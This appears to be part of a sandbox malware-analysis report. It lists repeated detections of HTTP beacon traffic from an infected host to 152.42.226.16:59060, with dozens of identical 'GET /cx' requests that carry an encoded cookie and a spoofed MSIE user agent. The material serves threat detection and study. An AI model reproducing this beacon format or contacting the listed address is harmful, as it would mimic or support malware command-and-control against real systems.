Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 59060

Source: global traffic

TCP traffic: 192.168.2.4:49730 -> 152.42.226.16:59060

Source: Joe Sandbox View

ASN Name: NCRENUS NCRENUS

Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cx HTTP/1.1Accept: /Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)Host: 152.42.226.16:59060Connection: Keep-AliveCache-Control: no-cache
